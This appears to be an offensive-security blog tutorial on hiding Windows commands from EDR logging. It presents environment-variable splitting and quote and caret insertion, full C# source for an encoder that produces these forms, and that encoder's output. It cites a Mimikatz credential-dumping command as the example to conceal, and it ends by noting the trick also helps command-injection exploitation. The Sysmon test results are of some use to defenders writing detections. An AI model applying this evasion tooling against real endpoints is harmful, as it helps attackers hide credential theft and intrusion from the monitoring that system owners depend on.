Obfuscating Command Line Arguments

Endpoint Detection & Response (EDR) systems will log commands executed on an endpoint. Whilst it may be possible to subvert this logging by manipulating the Process Environment Block, a simpler method is to encode the commands we want to execute.

For instance, we can assume the following Mimikatz command would generate an alert by an EDR:

mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit"

Monitoring Events using Microsoft Sysmon

We can use Microsoft Sysmon to monitor the command line events being generated.

Sysmon can be downloaded from here; https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon

The following command will install the sysmon driver:

C:\Sysmon>Sysmon64.exe -accepteula -i C:\Sysmon\sysmonconfig-export.xml

System Monitor v15.14 - System activity monitor
By Mark Russinovich and Thomas Garnier
Copyright (C) 2014-2024 Microsoft Corporation
Using libxml2. libxml2 is Copyright (C) 1998-2012 Daniel Veillard. All Rights Reserved.
Sysinternals - www.sysinternals.com

Loading configuration file with schema version 4.50
Sysmon schema version: 4.90
Configuration file validated.
Sysmon64 installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting Sysmon64..
Sysmon64 started.

With Sysmon installed, Open Event Viewer and expand Applications and Services Log > Microsoft > Windows > Sysmon > Operational. Event ID 1 (Process Creation) should show command line arguments.


There are a couple of ways we can evade pattern matching signatures for commands.

Environment Variables

Firstly, we can use environment variables to store the commands to be executed. For instance, the following will launch whoami /all;

set "aa=w"
set "ab=h"
set "ac=o"
set "ad=a"
set "ae=m"
set "af=i"
set "ag= "
set "ah=/"
set "ai=a"
set "aj=l"
set "ak=l"
set CMD=%aa%%ab%%ac%%ad%%ae%%af%%ag%%ah%%ai%%aj%%ak%
cmd /c %CMD%

The same thing can also be achieved using PowerShell.

$aa='w'
$ab='h'
$ac='o'
$ad='a'
$ae='m'
$af='i'
$ag=' '
$ah='/'
$ai='a'
$aj='l'
$ak='l'
$CMD=$aa + $ab + $ac + $ad + $ae + $af + $ag + $ah + $ai + $aj + $ak
cmd /c $CMD

Character Insertion

Another technique is to insert double quotes (“) or caret (^) characters within command arguments. The target command will still be executed, but adding the quotes or carets helps break up the command signature.

cmd /c w"h"o"a"m"i" /"a"l"l
cmd /c w^h^o^a^m^i^ /^a^l^l

C# Encoder

The following C# code implements these techniques.

using System;
using System.Collections.Generic;

namespace CMDObfuscation
{
    internal class Program
    {
        static string ObfuscateCharacters(string command, char character)
        {
            char insertChar = character;
            char[] modifiedChars = new char[command.Length * 2];

            for (int i = 0, j = 0; i < command.Length; i++)
            {
                modifiedChars[j++] = command[i];

                // Only add a quote if the current character is not a quote or space
                if (command[i] != '"' && command[i] != ' ')
                {
                    // Make sure we don't add any characters at the end of the string
                    if (i != command.Length - 1)
                    {
                        modifiedChars[j++] = insertChar;
                    }
 
                }
            }

            string result = new string(modifiedChars, 0, command.Length * 2);
            result = "cmd /c " + result;
            return result;
        }


        static string ObfuscateEnvVariables(string command)
        {
            char[] characters = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };

            List<string> letter_combinations = new List<string>();

            for (int i = 0; i < characters.Length; i++)
            {
                for (int j = 0; j < characters.Length; j++)
                {
                    letter_combinations.Add($"{characters[i]}{characters[j]}");
                }
            }

            string final_command = "";
            string set_commands = "";
            for (int i = 0; i < command.Length; i++)
            {
                set_commands += "\nset \"" + letter_combinations[i] + "=" + command[i] + "\"";
                final_command += "%" + letter_combinations[i] + "%";
            }


            string result = "";
            result += set_commands;
            result += "\nset CMD=" + final_command;
            result += "\ncmd /c %CMD%";
            return result;
        }

        static string ObfuscateEnvVariablesPS(string command)
        {
            char[] characters = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };

            List<string> letter_combinations = new List<string>();

            for (int i = 0; i < characters.Length; i++)
            {
                for (int j = 0; j < characters.Length; j++)
                {
                    letter_combinations.Add($"{characters[i]}{characters[j]}");
                }
            }

            string final_command = "";
            string set_commands = "";
            for (int i = 0; i < command.Length; i++)
            {
                set_commands += "\n$" + letter_combinations[i] + "=\'" + command[i] + "\'";
                final_command += "$" + letter_combinations[i] + " + ";
            }

            string result = "";
            result += set_commands;

            result += "\n$CMD=" + final_command.Remove(final_command.Length - 2);
            result += "\ncmd /c $CMD";
            return result;
        }

        static void Main(string[] args)
        {
            while (true)
            {
                Console.Write(">");
                string command = Console.ReadLine();
                if (command.Length >= 1)
                {
                    Console.WriteLine("\n########     Quote Characters      ########\n");
                    Console.WriteLine(ObfuscateCharacters(command, '"'));
                    Console.WriteLine("\n########     Caret Characters      ########\n");
                    Console.WriteLine(ObfuscateCharacters(command, '^'));
                    Console.WriteLine("\n######## CMD Environment Variables ########");
                    Console.WriteLine(ObfuscateEnvVariables(command));
                    Console.WriteLine("\n######## PS Environment Variables  ########");
                    Console.WriteLine(ObfuscateEnvVariablesPS(command));
                }
            }

        }
    }
}

Executing the code shows our encoded commands.

>whoami /all

########     Quote Characters      ########

cmd /c w"h"o"a"m"i" /"a"l"l

########     Caret Characters      ########

cmd /c w^h^o^a^m^i^ /^a^l^l

######## CMD Environment Variables ########

set "aa=w"
set "ab=h"
set "ac=o"
set "ad=a"
set "ae=m"
set "af=i"
set "ag= "
set "ah=/"
set "ai=a"
set "aj=l"
set "ak=l"
set CMD=%aa%%ab%%ac%%ad%%ae%%af%%ag%%ah%%ai%%aj%%ak%
cmd /c %CMD%

######## PS Environment Variables  ########

$aa='w'
$ab='h'
$ac='o'
$ad='a'
$ae='m'
$af='i'
$ag=' '
$ah='/'
$ai='a'
$aj='l'
$ak='l'
$CMD=$aa + $ab + $ac + $ad + $ae + $af + $ag + $ah + $ai + $aj + $ak
cmd /c $CMD

Based on the sysmon output, adding in quotes to the command parameters has helped break up the pattern of our Mimikatz command.

However, Sysmon has decoded the command lines entered using environment variables or using caret characters.


In Conclusion

Although environment variable obfuscation does not work against Sysmon, it may work against other solutions. In addition, command line Obfuscating may also be useful when exploiting some command injection vulnerabilities.